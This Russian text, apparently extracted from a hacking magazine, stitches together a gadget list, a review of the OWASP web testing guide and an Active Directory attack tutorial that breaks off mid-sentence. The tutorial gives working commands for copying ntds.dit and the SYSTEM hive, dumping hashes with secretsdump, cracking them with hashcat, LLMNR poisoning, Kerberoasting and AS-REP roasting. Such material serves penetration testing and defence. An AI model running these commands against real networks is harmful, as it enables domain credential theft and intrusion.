раз работа ли  для  поис ка  бан ков ских  и  дру гих  ским меров.  Суть  его  прос та:
встав ляешь  его  в  кар топри емник,  вытас кива ешь  и  смот ришь  на  све тоди од.
Если  он  све тит ся  зеленым,  то  ским мер  не  обна ружен,  в  про тив ном  слу чае
этим бан коматом луч ше не поль зовать ся. Раз мер Hunter Cat чуть боль ше бан‐ 
ков ской кар ты, а сто имость — око ло 35 дол ларов.

NRF52840 DONGLE
 18 дол ларов Це на:

Офи циаль ный сайт

Ну и под конец спис ка — USB‐dongle nRF52840. У него мас са воз можнос‐ 
тей, сре ди которых сто ит выделить две. Во‐пер вых, ты можешь переп рошить
его и получить пол ноцен ный сниф фер Bluetooth Low Energy с кра сивым пла‐ 
гином для Wireshark. Во‐вто рых, исполь зуя откры тый про ект LOGITacker, мож‐ 
но прев ратить этот донгл в устрой ство тес тирова ния бес про вод ной перифе‐ 
рии компь юте ра: мыши, кла виату ры и про чего. Сто имость устрой ства начина‐ 
ется от 18 дол ларов, но на AliExpress мож но най ти китай ские кло ны дешев ле.
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ВЗЛОМ

Бе зопас ность веба — очень широкое понятие. Это и недос‐ 
татки ста рых про токо лов, и исполь зование каких‐то опас ных
вещей,  и  прос то  челове чес кие  ошиб ки,  допущен ные
при раз работ ке соф та. Очень неп росто тес тировать про дук‐ 
ты  в  такой  широкой  области:  нуж но  при дер живать ся
какого‐то  пла на.  И  орга низа ция  OWASP  облегчи ла  жизнь
спе циалис там в области ИБ, соз дав OWASP Testing Guide.

Су щес тву ет  нес коль ко  ,  но  кон крет но  для  веба  соз дана
толь ко одна. О соот ветс твии стан дартам типа PCI DSS сей час речь не идет,
пос коль ку  это  узкоспе циали зиро ван ное  нап равле ние.  А  мы  погово рим
об  уни вер саль ной  методо логии  тес тирова ния.  Что  пред лага ет  нам  OWASP
Testing Guide? Давай про бежим ся по это му объ емно му докумен ту и отме тим
его час ти, в которых тебя может ждать боль ше все го под водных кам ней.

ме тодик  пен теста

WWW

Ес ли  у  тебя  не  получа ется  осво ить  англий скую
вер сию  гай да,  вос поль зуйся  кра удсорсин говым

  (прав да,  он  не  доделан  до  кон ца).
Кста ти, у OWASP так же есть 

  и  для 
.  А  с  пол ным  спис ком  про ектов  ты

можешь озна комить ся на  .

пе рево дом
ме тоди ка для ревью

исходно го  кода тес тирова ния  мобиль ных
при ложе ний

owasp.org

Не так дав но в «Хакере» выш ла статья, рас кры вающая 
,  в  ней мель ком  говорит ся и о методо логии OWASP

и области ее при мене ния.   (PDF) име ет
номер  четыре,  пятая  вер сия  находит ся  в  ста дии  раз работ ки  (кста ти,  ты
можешь  делать  ком миты  в  их  ).  Но  хоть
руководс тво  по  тес тирова нию  доволь но  боль шое  и,  на  пер вый  взгляд,  все‐ 
объ емлю щее, его надо вос при нимать как осно ву, а не как рецепт на все слу‐ 
чаи  жиз ни.  В  этой  статье  тебя  ждет  крат кая  инс трук ция  по  исполь зованию
OWASP Testing Guide.

ос новы  тес тирова ния
сай тов на безопас ность

Те кущая вер сия OWASP Testing Guide

пуб личном  репози тории  на  GitHub

НЕ ВСЕ ТО ЗОЛОТО, ЧТО БЛЕСТИТ
Как  говорил  Эйнштейн,  «порядок  необ ходим  глуп цам,  а  гений  влас тву ет
над хаосом». Но в тес тирова нии чет кое пла ниро вание — это синоним успе ха.
Тем не менее план обыч но опи сыва ет лишь приб лизитель ную пос ледова тель‐ 
ность дей ствий, даже если он очень детали зиро ван. Пре дус мотреть все воз‐ 
можные нюан сы зачас тую нере аль но.

И дело не толь ко в том, что новые тех нологии появ ляют ся с гораз до боль‐ 
шей ско ростью, чем обновля ется методи ка, но и в том, что веб‐при ложе ния
могут  исполь зовать ся  для  чего  угод но:  от  соз дания  прос того  сай та‐визит ки
до  панели  адми нис тра тора,  с  помощью  которой мож но  управлять физичес‐ 
кими  устрой ства ми.  Поэто му  подоб ные  методо логии  сто ит  исполь зовать
толь ко в качес тве фун дамен та и думать сво ей головой, при этом не забывая
допол нять сущес тву ющий план прак тичес ким опы том.

Сле дует  исполь зовать  все  дос тупные инс тру мен ты. Во‐пер вых,  во  вре мя
тес тирова ния  по  одно му  раз делу  инс тру мен ты могут  давать  раз ные  резуль‐ 
таты,  а  во‐вто рых,  наложе ние  час ти  раз делов  на  дру гие  поможет  зак рыть
потен циаль ные  недоче ты,  ранее  не  выяв ленные  тес тиров щиком  или  авто‐ 
мати чес ким инс тру мен тари ем.

Так же может сло жить ся впе чат ление, что методи ка боль ше пред назна чена
для black box тес тирова ния (нес мотря на gray box и white box в самом тек сте),
но,  в  прин ципе,  ее  мож но  рас простра нить  на  любой  вид  тес тирова ния,
добавив   и свя зан ные с ними инс тру мен ты.со ответс тву ющие методы

TESTING GUIDE INTRODUCTION
В начале руководс тва  по  тес тирова нию от OWASP есть  неболь шое пре дис‐ 
ловие,  гла сящее,  что  авто мати зиро ван ное  black  box  тес тирова ние  име ет
недос татки  и  его  надо  допол нять  руч ным  тес тирова нием.  Это  так,  одна ко
в самом тек сте гай да встре чают ся при меры исполь зования ска нера Nessus,
но нет ни сло ва про ска нер OpenVAS, который, в прин ципе,    .не силь но ху же

Име ет смысл исполь зовать все име ющиеся ска неры и дру гие фичи плат‐ 
ных  про дук тов  (нап ример,  ),  пос коль ку  раз ные  инс тру мен ты  могут
дать раз ные резуль таты. Не пре неб регай и лож нополо житель ными сра баты‐ 
вани ями, пос коль ку такие резуль таты   вне зап но 

.

Burp  Pro

иног да ока зыва ются истинны‐ 
ми

TESTING FOR INFORMATION GATHERING
Conduct search engine discovery/reconnaissance for information
leakage
Сбор  информа ции  из  откры тых  источни ков  (OSINT) —  пер вый  этап  любого
пен теста,  и  пен теста  веб‐при ложе ния  тоже.  Этот  этап  про водит ся  еще  до
начала работ, что бы про верить, дей стви тель но ли тес тиру емые объ екты при‐ 
над лежат заказ чику, или что бы оце нить при мер ный объ ем работ для оцен ки
тру дозат рат.

В  методо логии  этот  этап  в  основном  стро ится  на  исполь зовании  поис‐ 
ковых движ ков (при чем раз ных, что бы ском пенси ровать огра ниче ния одно го
пре иму щес тва ми  дру гого).  Здесь  тебе  на  помощь  при дет 

,  замет ка  про 
 или  .

статья,  опи сыва‐ 
ющая  воз можнос ти  DuckDuckGo опе рато ры  поис ка  и  Google
Dorks ма тери ал о скры тых воз можнос тях Google

Но,  разуме ется,  OSINT  не  огра ничи вает ся  толь ко  лишь  исполь зовани ем
поис ка,  как минимум из‐за наличия неин декси руемых форумов, в  том чис ле
в дар кне те,  или  пер сонали зиро ван ной  выдачи. Поиг рать  с  ней  поможет 

. И  на  любом эта пе  тес тирова ния  не  сто ит  забывать  о  пер сонали‐ 
зиро ван ной выдаче самого тес тиру емо го ресур са. К сло ву, недав но появил ся

. Мож но исполь зовать раз ные 
,  нап ример  такой  инс тру мент,  как  FOCA,

для получе ния метадан ных из докумен тов, которые, ско рее все го, при сутс тву‐ 
ют на тес тиру емых ресур сах.

вот
этот сайт

форк Sherlock’а для поис ка по СНГ тех ники пас‐ 
сивно го  сбо ра  информа ции

Не сто ит забывать про сай ты, пря мо или кос венно свя зан ные с IT, а так же
темати чес кие  (свя зан ные  с  темати кой  тес тиру емо го  объ екта)  ресур сы.
В  общем,  про  OSINT  мож но  говорить  дол го,  суть  в  том,  что  надо  исполь‐ 
зовать руководс тво по тес тирова нию как осно ву, а не как пошаго вую инс трук‐ 
цию.

Enumerate applications on webserver
В  этом  раз деле  речь  идет  о  раз личных  веб‐при ложе ниях,  дос тупных  либо
по сек ретным суб доменам, либо по отно ситель ным путям, к которым име ется
дос туп  извне. Име ются  в  виду  некие ресур сы сай та,  куда может  про ник нуть
лишь  тот,  кто  зна ет их URL, по понят ным при чинам ниг де не афи ширу емый.
Раз дел мож но допол нить сле дующи ми трю ками:

сай ты  могут  быть  похожи  друг  на  дру га  (нап ример,  их  делал  один  под‐ 
рядчик).  Мож но  исполь зовать  инс тру мент  для  поис ка  иден тичных  фраг‐ 
ментов  кода  (ком мента рии,  раз ные  иден тифика торы  в  JS‐биб лиоте ках,
име на  авто ров  в  ком мента риях  и  про чее)  наподо бие 
в надеж де, что эти сай ты были про индекси рова ны;

•

publicwww.com/

мож но  исполь зовать  раз ные    для  поис ка  суб доменов
или  искать  их  самому  вруч ную,  исполь зуя   
или  . Мож но исполь зовать свои или   сло вари
для  перебо ра,  ну  и  в  целом  прив лекать  раз ные  ,  пос коль ку
они пос тоян но обновля ются и совер шенс тву ются.

• инс тру мен ты
по иск по  сер тифика там

DNS‐зап росы об щедос тупные
инс тру мен ты

Map execution paths through application
Здесь  говорит ся  о  сос тавле нии  «кар ты»  веб‐при ложе ния,  то  есть  об  отоб‐ 
ражении  в  тек сто вом  или  гра фичес ком  виде  всех  или  поч ти  всех  раз делов
сай та.  Если  этот  про цесс  авто мати зиро вать  с  помощью  соот ветс тву ющих

,  то  ты получишь схе му веб‐при ложе ния или сай та, на которую
мож но  опи рать ся  при  тес тирова нии.  Нап ример,  такая  схе ма  поможет  клас‐ 
сифици ровать руб рики сай та по раз делам методо логии. К тому же авто мати‐ 
зиро ван ные  ути литы  могут  обна ружить  то,  что  ты  упус тил  на  эта пе  сбо ра
информа ции.

инс тру мен тов

CONFIGURATION AND DEPLOYMENT MANAGEMENT TESTING
В  этом  раз деле  опи сано  тес тирова ние  инфраструк туры  веб‐при ложе ния.
В гай де речь идет в основном о веб‐сер вере и СУБД. И хоть это фун дамент
любого веб‐при ложе ния, не сто ит забывать про  , 

  и  про чие  ком понен ты  инфраструк туры.  Конеч но,  если  они  вхо дят
в намечен ный план работ.

CI/CD‐сис темы ши ны сооб‐ 
щений

AUTHENTICATION TESTING / AUTHORIZATION TESTING
При  тес тирова нии  аутен тифика ции  и  авто риза ции  не  сто ит  забывать
про такие вещи, как  ,  ,  . Тебе даже может встре тить ся аутен‐ 
тифика ция по  .

OAuth SSO OpenID
сер тифика там

В общем, не теряй ся, ког да на горизон те появит ся что‐то подоб ное, ведь
схем аутен тифика ции и авто риза ции  . В один при сест
все  не  изу чить,  и  прак тика  их  экс плу ата ции  на  реаль ных  про ектах  появит ся
не сра зу: глав ное — понять, к какому раз делу тес тирова ния это отно сит ся.

су щес тву ет мно жес тво

INPUT VALIDATION TESTING
Пер вые  два  пун кта  это го  раз дела  свя заны  с  reflected/stored  XSS‐уяз вимос‐ 
тями.  Но  XSS‐уяз вимос ти  пред став ляют  собой  под класс  более  общих  уяз‐ 
вимос тей — reflected/stored HTML injection. Может слу чить ся так, что XSS нет,
а  вот  HTML  injection  есть.  Кста ти,  помимо  XSS/HTML‐инъ екций,  так же
не забывай про   — доволь но   под класс атак,
который может  при вес ти  к  уда лен ному  исполне нию  кода.  Еще  один  под вид
ата ки уда лен ного исполне ния кода — ата ка  .

инъ екции в шаб лоны серь езный

SSRF
Так же не сто ит забывать о том, в каком окру жении работа ет веб‐при ложе‐ 

ние.  Нуж но  подумать,  как  потен циаль ный  зло умыш ленник  может  исполь‐ 
зовать  это для  сво ей  выгоды. Вот    утеч ки  хешей  с Windows‐сер вера
из‐за одной лишь уяз вимос ти, свя зан ной с недос таточ но хорошей филь тра‐ 
цией вво димых дан ных.

при мер

В этом раз деле так же говорит ся про бинар ные уяз вимос ти Overflow и For‐
mat String:  сюда  вооб ще сто ит  вклю чить  весь  спектр бинар ных  уяз вимос тей
со все воз можны ми  ухищ рени ями и ата ками,  которые мож но выпол нить  уда‐ 
лен но.  Это  тема  для  отдель ной  статьи  или  даже  кни ги  и  еще  одно  под‐ 
твержде ние тому, что в области ИБ надо раз вивать ся всес торон не.

BUSINESS LOGIC TESTING
Во обще, в раз дел, пос вящен ный тес тирова нию биз нес‐логики, мож но вклю‐ 
чить все что угод но. Проб лемы в этой сфе ре могут при вес ти к воз можнос ти
DDOS‐ата ки,  наруше нию  целос тнос ти,  кон фиден циаль нос ти  и  дос тупнос ти
информа ции. Вари антов мож но при думать уйму, тут суть не в том, что бы пре‐ 
дус мотреть  все  воз можные,  а  в  том,  что бы  научить ся  дей ство вать  по  ситу‐ 
ации. Поэто му раз дел носит в основном теоре тичес кий харак тер: прак тичес‐ 
кие  при емы  тес тирова ния  зависят  от  архи тек туры и  внут ренне го  устрой ства
кон крет ного иссле дуемо го объ екта.

CLIENT SIDE TESTING
В пер вых двух пун ктах этой час ти руководс тва речь сно ва заходит об XSS‐уяз‐ 
вимос тях,  но  на  сто роне  кли ента.  Тут  сле дует  обра тить  вни мание  на  два
обсто ятель ства.  Во‐пер вых,  не  сто ит  забывать  про  HTML  injection  (ее  тоже
мож но осу щес твить на сто роне кли ента). Во‐вто рых, XSS‐уяз вимос ти делят ся
на  четыре  типа:  server‐side  reflected,  server‐side  stored,  client‐side  reflected
и client‐side  stored. В пос леднем слу чае в  качес тве  хра нили ща для XSS‐наг‐ 
рузки исполь зует ся хра нили ще бра узе ра (в пре делах сес сии или же на более
дол гий срок). На мой взгляд, деление дол жно быть имен но по client‐side  re‐
flected и client‐side stored, ибо ата ки DOM‐based XSS и arbitrary  JS  injections
могут быть выпол нены в кон тек сте обе их выше упо мяну тых уяз вимос тей.

Ана логич но родс твен ником ата ки SSTI (server side template injection) явля‐ 
ется  . Прин цип ее тот же самый, но выпол няет ся она на сто роне кли ента.CSTI

ЗАКЛЮЧЕНИЕ
Веб‐тех нологии име ют раз ные (иног да неоче вид ные) нюан сы, и дер жать все
это  в  голове прос то невоз можно, даже при наличии опы та.  Глав ное ору жие
пен тесте ра — это поис ковые сис темы и свой лич ный набор инс тру мен тов.

А опыт при ходит с прак тикой. Теоре тичес кие же зна ния мож но почер пнуть
в  кни гах,  форумах,  стать ях,  репор тах  на  баг баун ти‐пло щад ках. Мож но  даже
вес ти  свою  собс твен ную  базу  зна ний  —  это  осо бен но  удоб но,  если  ты
посеща ешь  кон ферен ции  вро де  PHDays,  ZeroNights,  RuCTF,  OffensiveCon
или  прос матри ваешь  виде олек ции.  А  методо логия  тес тирова ния  в  каж дом
новом про екте — это лишь отправ ная точ ка для даль нейшей работы.

WWW

Вот лишь неболь шой спи сок ресур сов, с которых
мож но  начать  сос тавлять  собс твен ную  базу  зна‐ 
ний:
•Блог, пос вящен ный пен тестин гу и ИБ
•Ба за дан ных веб‐уяз вимос тей от Acunetix
•Ба за  уяз вимос тей,  зафик сирован ных  Portswig‐
ger Burp Scanner

•Раз дел про веб‐безопас ность на DEFCON
•Хаб роблог OWASP
•Гит хаб GoSecure
•Блог Corben Leo
•Блог Geekboy
•Еще один блог
•Блог Detectify Labs
•Блог Wallarm
•Блог Cisecurity

Сто ит  гуг лить  все,  что  свя зано  с  безопас ностью  того  ком понен та,  который
исполь зует ся в веб‐при ложе нии. Нап ример,   по отно шению к JAVA, 

, если ты встре тил ся с SOAP, или   и  , если нуж но разоб рать ся
с  XML‐докумен тами.  Так же  надо  быть  готовым  к  ,  не  опи сан ным
в  методо логии,  в  том  чис ле  и  к  тому,  что  заказ чик  захочет  про тес тировать
свои  .

JWT Web
Services XXE XSLT

си туациям

сис темы защиты
Под ходи  к  про цес су  твор чески:  даже  очень  под робный  гайд  все  рав но

не  пре дус мотрит  всех  воз можных  слу чаев.  Допол нитель но  для  сис темати‐ 
зации  собс твен ных  зна ний  мож но  изу чить  раз ные 

.
клас сифика ции  угроз

безопас ности
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ВЗЛОМ

Для  успешной  ата ки  на  Active  Directory,  зах вата  рабочих
стан ций и переме щения по сети нас тояще му хакеру не обя‐ 
затель но  вла деть  учет ными  дан ными  поль зовате лей.
Но иног да без них не обой тись. А что бы зав ладеть учет кой,
нуж но  знать,  где  в  сетях  с  Active  Directory  обыч но  хра нят ся
пароли и как их отту да добыть.

Дру гие статьи про ата ки на Active Directory
• Раз ведка  в  Active  Directory.  Получа ем  поль зователь ские  дан ные  в  сетях
Windows без при виле гий

• Ата ки  на Active Directory.  Раз бира ем акту аль ные методы повыше ния  при‐ 
виле гий

• Бо ковое переме щение в Active Directory. Раз бира ем тех ники Lateral Move‐
ment при ата ке на домен

• За щита от детек та в Active Directory. Укло няем ся от обна руже ния при ата ке
на домен

• За щита от детек та в Active Directory. Как обма нуть средс тва обна руже ния
при ата ке на домен

• Зак репля емся в Active Directory. Как сох ранить дос туп при ата ке на домен

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный информа цией из этой статьи.

РАБОТА С NTDS.DIT
Файл    пред став ляет  собой  базу  дан ных,  в  которой  хра нит ся
информа ция  Active  Directory,  такая  как  све дения  о  поль зовате лях,  груп пах
и  членс тве  в  груп пах.  База  так же  вклю чает  хеши  паролей  для  всех  поль‐ 
зовате лей в домене.

ntds.dit

Пер вым делом сле дует получить  копию фай ла  . Он рас положен
на  кон трол лере  домена  в  дирек тории  .  Но  прос то  ско‐ 
пиро вать  его  не  получит ся,  так  как  этот  файл  пос тоян но  исполь зует ся  EFS
в  Active  Directory,  и  опе ратор  (пен тестер,  ред тимер,  зло умыш ленник
или иссле дова тель) рис кует получить сле дующее сооб щение об ошиб ке.

ntds.dit
C:\Windows\NTDS\

Ошиб ка копиро вания фай ла ntds.dit

Я  рас ска жу  о  двух  спо собах  ско пиро вать  дан ный  файл.  Пер вый  спо соб
исполь зует  скрипт  PowerShell,  а  вто рой —  копиро вание  с  помощью  встро‐ 
енных средств Windows.

Скрипт    поз воля ет  копиро вать  любые  исполь зуемые
служ бами Windows фай лы, в том чис ле и  . При этом скрипт не запус‐ 
кает  пос торон них  служб  и  не  внед ряет ся  в  про цес сы  или  кон текст  System.
Этот  инс тру мент  получа ет  дес крип тор  дис ка,  что  дает  ему  пра во  на  чте ние
необ работан ного  мас сива  бай тов  все го  тома.  Затем  скрипт  ана лизи рует
струк туру NTFS и ищет опре делен ную сиг натуру. Таким обра зом опре деля ет,
где находит ся файл, и побай тово его копиру ет. Так мож но читать даже фай лы,
которые бло киру ет LSASS.

Invoke‐NinjaCopy
ntds.dit

Ко пиро вание фай ла с помощью Invoke‐NinjaCopy

Плюс  ко  все му  дан ный  скрипт  написан  на  PowerShell,  поэто му  запус кает ся
из памяти, что поз воля ет избе жать его сох ранения на диск.

Вто рой спо соб — теневое копиро вание. Для это го исполь зует ся уста нов‐ 
ленный  в  Windows  инс тру мент  vssadmin.  Сна чала  сле дует  соз дать  теневую
копию с помощью сле дующей коман ды:

> vssadmin create shadow /for=C:

Соз дание теневой копии с помощью vssadmin

А теперь мож но копиро вать отту да никем не исполь зуемый файл  .ntds.dit

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\ntds\
ntds.dit C:\ntds.dit

Ко пиро вание ntds.dit

Та ким обра зом, файл   мож но ско пиро вать дву мя раз ными спо соба‐ 
ми.  Но  он  зашиф рован,  и,  что бы  его  про читать,  необ ходим  файл  ,
получить который мож но так же нес коль кими спо соба ми. К при меру, из той же
теневой копии или из реес тра.

ntds.dit
SYSTEM

> copy \\?\GLOBALROOT\Device\[имя тома теневой копии]\windows\
system32\config\system C:\system

> reg save hklm\system C:\sys

Ко пиро вание фай ла system из теневой копии

По луче ние фай ла system из реес тра

Те перь  у  опе рато ра  есть  необ ходимые  фай лы,  и  он  может  перенес ти  их
к себе на машину для даль нейших работ, точ нее для извле чения информа ции
и взло ма хешей паролей. Но сна чала сле дует уда лить теневую копию.

> vssadmin delete shadows /shadow=[ID теневой копии]

Уда ление теневой копии

Из влечь  хеши  мож но  с  помощью  скрип та  ,  вхо дяще го  в  пакет
.

secretsdump
impacket

# secretsdump.py ‐system ./system ‐ntds ./ntds.dit LOCAL

Ис поль зование secretsdump для извле чения хешей

Для взло ма NTLM‐хешей мож но исполь зовать  . Сох раним их в файл
и отпра вим на перебор.

hashcat

hashcat ‐a 0 ‐m 1000 ntlm.hashes dict.txt

Файл с хешами

Ре зуль тат работы hashcat

Так мы получим некото рые пароли в откры том виде.

ПОЛУЧЕНИЕ ДАННЫХ АУТЕНТИФИКАЦИИ БЕЗ ВЗАИМОДЕЙСТВИЯ
С LSASS
Ко неч но,  для  получе ния  хешей  поль зователь ских  паролей  мож но  исполь‐ 
зовать mimikatz, но сде лать это без прив лечения про цес са LSASS нель зя, так
как mimikatz дос тает дан ные непос редс твен но из памяти это го про цес са.

В  сис теме  Windows  NetNTLM  —  это  про токол  зап роса‐отве та,  исполь‐ 
зуемый  там,  где Kerberos  не  под держи вает ся. При обыч ной  ата ке  опе ратор
может  акти виро вать  NetNTLMv2  в  качес тве  кли ент ской  аутен тифика ции,
а  затем  поп робовать  прой ти  про вер ку  под линнос ти  на  сво ем  под став ном
сер вере, что бы перех ватить и про ана лизи ровать зап рос от кли ента.

Но  исполь зовать  сеть  —  не  всег да  хорошая  идея.  Избе жать  это го  нам
поможет  SSPI  —  прог рам мный  интерфейс  в  Microsoft  Windows  меж ду  при‐ 
ложе ниями  и  про вай дерами  безопас ности.  Опе ратор  может  локаль но  выз‐ 
вать про цеду ру метода аутен тифика ции NTLM из при ложе ния поль зователь‐ 
ско го режима через SSPI. Это поз волит вычис лить ответ NetNTLM в кон тек сте
вошед шего в сис тему поль зовате ля.

Сде лать  это мож но с помощью инс тру мен та  . Он обла‐ 
дает широким спек тром воз можнос тей, как и мно жес твом вари антов запус ка.

InternalMonologue

Справ ка InternalMonologue, заг ружен ного через Cobalt Strike

При мер  ата ки  Downgrade  с  помощью  это го  инс тру мен та  и  Cobalt  Strike
показан  на  кар тинке  ниже.  Таким  спо собом  впол не  реаль но  получить  Net‐
NTLMv2‐хеш поль зовате ля, под которым выпол нена ата ка.

Downgrade‐ата ка с помощью InternalMonologue

Для взло ма NetNTLMv2‐хеша так же мож но исполь зовать  .hashcat

Файл с хешем

hashcat ‐a 0 ‐m 5600 NetNTLMv2.hashes dictionary.txt

Ре зуль тат работы hashcat

Эта  ата ка  выпол няет ся  более  скрыт но  по  срав нению  с  исполь зовани ем
mimikatz,  пос коль ку  в  дан ном  слу чае  нет  необ ходимос ти  заг ружать  код
в  защищен ный  про цесс  или  выг ружать  память  из  него.  Так  как  NetNTLMv2‐
хеш  ста новит ся  дос тупен  в  резуль тате  вза имо дей ствия  с  локаль ным  SSPI,
сетевой  тра фик не регис три рует ся. А  зна чит,  в ата куемой сис теме оста ется
мень ше сле дов.

LLMNR/NBT-NS POISONING
В  инфраструк туре  Active  Directory  работа  с  име нами  хос тов  орга низо вана
с  исполь зовани ем  трех  про токо лов: DNS,  LLMNR и NetBIOS. Все  три  обес‐ 
печива ют  вза имо дей ствие  с  уда лен ной машиной  по  ее  име ни,  так  же  как  и
по  адре су.  Если  кли ент Windows  не может  най ти  в  сети  имя опре делен ного
хос та  с  исполь зовани ем  DNS,  он  выпол нит  зап рос  с  помощью  про токо ла
Link‐Local  Multicast  Name  Resolution  (LLMNR).  Если  и  здесь  он  потер пит
неуда чу, то будет выпол нен зап рос NetBIOS.

Раз личие меж ду эти ми про токо лами зак люча ется в сле дующем. В слу чае
с  DNS  зап рос  адре са  по  име ни  будет  нап равлен  на  сер вер,  в  то  вре мя
как  про токо лы  LLMNR  и  NetBIOS  выпол нят  широко веща тель ную  рас сылку
в локаль ной сети, и хост, чье имя зап рашива ется, дол жен отве тить. При этом,
в отли чие от NetBIOS, LLMNR спо собен работать с IPv6‐адре сами.

Опе ратор  может  прос лушивать  широко веща тель ные  рас сылки  LLMNR
(UDP/5355) или NBT‐NS (UDP/137) и отве чать на них, как буд то ему извес тно
мес тополо жение зап рошен ного узла.

Та ким обра зом, пол ная цепь ата ки выг лядит так:
1. Поль зователь  вмес то    по  ошиб ке  обра щает ся  к 

.
\\printserver \\

pintserver

2. DNS‐сер вер сооб щает, что не име ет такой записи.
3. Кли ент авто мати чес ки совер шает широко веща тель ный зап рос.
4. Опе ратор отве чает на него, пред став ляясь несущес тву ющим сер вером.
5. Кли ент переда ет аутен тифика цион ную информа цию опе рато ру.

Схе ма ата ки LLMNR Poisoning

На  прак тике  опе рато ру  нужен  все го  лишь  один  инс тру мент  —  Responder,
которо му сле дует ука зать толь ко сетевой интерфейс.

За пуск Responder для LLMNR Poisoning

Ус пешно выпол ненная ата ка будет выг лядеть так, как показа но на сле дующей
иллюс тра ции.

Ре зуль тат успешной ата ки LLMNR Poisoning

Так опе ратор может узнать NetNTLMv2‐хеши паролей поль зовате лей. Как их
взла мывать, уже разоб рано ранее.

Продолжение статьи →
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

KERBEROASTING
Ре али зация  про токо ла  Kerberos  в  Windows  исполь зует  име на  учас тни ков
служ бы  (SPN)  для  опре деле ния  того,  какую  учет ную  запись  задей ство вать
для шиф рования билета служ бы. В Active Directory  сущес тву ет два  вари анта
SPN: SPN на осно ве хос та и про изволь ные SPN. Пер вый вари ант SPN свя зан
с  учет ной  записью  компь юте ра  домена,  а  вто рой  обыч но  (но  не  всег да) —
с учет кой поль зовате ля домена.

В докумен тации Microsoft написа но бук валь но сле дующее: «Ког да в Active
Directory соз дает ся новая учет ная запись компь юте ра, для встро енных служб
авто мати чес ки соз дают ся име на учас тни ков‐служб. В дей стви тель нос ти име‐ 
на  учас тни ков‐служб  соз дают ся  толь ко  для  служ бы HOST,  а  все  встро енные
служ бы исполь зуют имя учас тни ка‐служ бы HOST». Но так как пароль учет ной
записи  компь юте ра  по  умол чанию  ран домный  и  меня ется  каж дые  30  дней,
опе ратор  в  кон тек сте  дан ной  ата ки,  как  пра вило,  не  обра щает  вни мания
на име на SPN на осно ве хос та.

Про изволь ные име на учас тни ков‐служб так же могут быть зарегис три рова‐ 
ны  для  учет ных  записей  поль зовате лей  домена.  Наример,  учет ная  запись
служ бы, которая управля ет нес коль кими экзем пля рами MSSQL. Таким обра‐ 
зом,  учет ная  запись  поль зовате ля  по  умол чанию  будет  иметь  SPN 

  для  каж дого  экзем пля ра  MSSQL,  для  которо го  она
зарегис три рова на. Эта учет ная запись хра нит ся в атри буте 

 про филя поль зовате ля.

<
MSSQLSvc/HOST:PORT>

ServicePrinci‐
palName

Как  сле дует  из  спе цифи ки  работы  Kerberos,  любой  поль зователь  может
зап росить  TGS  для  любой  служ бы,  име ющей  зарегис три рован ное  SPN
для  учет ной  записи  поль зовате ля  или  компь юте ра  в  Active  Directory.  Таким
обра зом,  зная  учет ные дан ные любого поль зовате ля домена и SPN учет ных
записей из  домена,  опе ратор может  зап росить  TGS от  име ни  поль зовате ля
для дан ных экзем пля ров SPN. А взло мав TGS, узнать пароли от этих учет ных
записей.

Схе ма ата ки Kerberoasting

Вы пол нить ата ку мож но как уда лен но, так и при наличии непос редс твен ного
дос тупа к сис теме. Но для начала нуж но получить все SPN из сис темы. Если
есть дос туп, сле дует исполь зовать встро енное решение setspn.

setspn ‐T [домен] ‐Q */*

По луче ние SPN с помощью setspn

Ука зан ным спо собом мы получа ем SPN поль зовате ля  , а это озна‐ 
чает, что он уяз вим к такой ата ке. Локаль но получить билет мож но с помощью
Rubeus.

SQL admin

По луче ние билета с помощью Rubeus

Для уда лен ного получе ния SPN и билета необ ходимы учет ные дан ные любого
поль зовате ля домена.

GetUserSPNs.py ‐request ‐dc‐ip [адрес] [домен]/[пользователь]

По луче ние билета с помощью impacket

Для взло ма исполь зует ся hashcat.

hashcat ‐a 0 ‐m 13100 krb5.hashes dict.txt

Ре зуль тат работы hashcat

Kerberoasting мож но так же выпол нить, перех ватив сетевой тра фик и зах ватив
билеты Kerberos TGS в слу чае MITM.

AS-REP ROASTING
При обыч ных опе раци ях в сре де Windows Kerberos, ког да поль зователь ини‐ 
циирует зап рос TGT (опе рация Kerberos AS‐REQ), он дол жен ука зать вре мен‐ 
ную  мет ку,  зашиф рован ную  сво им  паролем  (клю чом).  Мет ка  пред став ляет
собой  струк туру    и  встро ена  в  PA‐DATA  (дан ные  пред‐ 
варитель ной  авто риза ции)  AS‐REQ.  KDC  рас шифро выва ет  эту  мет ку,  что бы
про верить, дей стви тель но ли совер шающий опе рацию субъ ект — тот, за кого
себя выда ет, а затем воз вра щает AS‐REP и про дол жает обыч ные про цеду ры
аутен тифика ции.

PA‐ENC‐TIMESTAMP

По доб ная  про вер ка  называ ется  пред варитель ной  аутен тифика цией  Ker‐
beros  и  необ ходима  для  пре дот вра щения  авто ном ного  уга дыва ния  пароля.
Но про вер ку мож но отклю чить выс тавле нием фла га   в UAC
учет ной  записи  поль зовате ля.  Что бы  отклю чить  про вер ку  для  кон крет ного
поль зовате ля,  опе рато ру  необ ходимо  наличие  при виле гии 
или  .

DONT_REQ_PREAUTH

GenericWrite
GenericAll

Set‐DomainObject ‐Identity [пользователь] ‐XOR @{useraccountcontrol=
4194304}

Де ло в том, что при отклю чен ной пред варитель ной аутен тифика ции Kerberos
KDC  все  рав но  вер нет  AS‐REP,  который,  в  свою  оче редь,  зашиф рован
с  помощью  клю ча  служ бы  .  Но  зашиф рован ная  часть  AS‐REP  под‐ 
писыва ется  кли ент ским клю чом,  то есть  клю чом поль зовате ля, для  которо го
отправ ляет ся AS‐REQ.

krbtgt

Вы пол нить ата ку мож но локаль но с помощью того же Rubeus.

По луче ние хеша с помощью Rubeus

Для  уда лен ной ата ки нам нуж но  узнать поль зовате лей,  у  которых отклю чена
пред варитель ная аутен тифика ция Kerberos, для чего необ ходимо иметь учет‐ 
ные дан ные любого поль зовате ля в домене.

GetNPUsers.py [домен]/[пользователь]:[пароль]

По луче ние поль зовате лей с отклю чен ной пред варитель ной аутен тифика ‐
цией Kerberos

Те перь выпол ним зап рос для най ден ного поль зовате ля.

GetNPUsers.py [домен]/[пользователь] ‐k ‐no‐рass ‐dc‐iр [IР]

По луче ние хеша с помощью imрacket

Раз личие меж ду Kerberoasting и AS‐REР Roasting сос тоит в том, что для дан‐ 
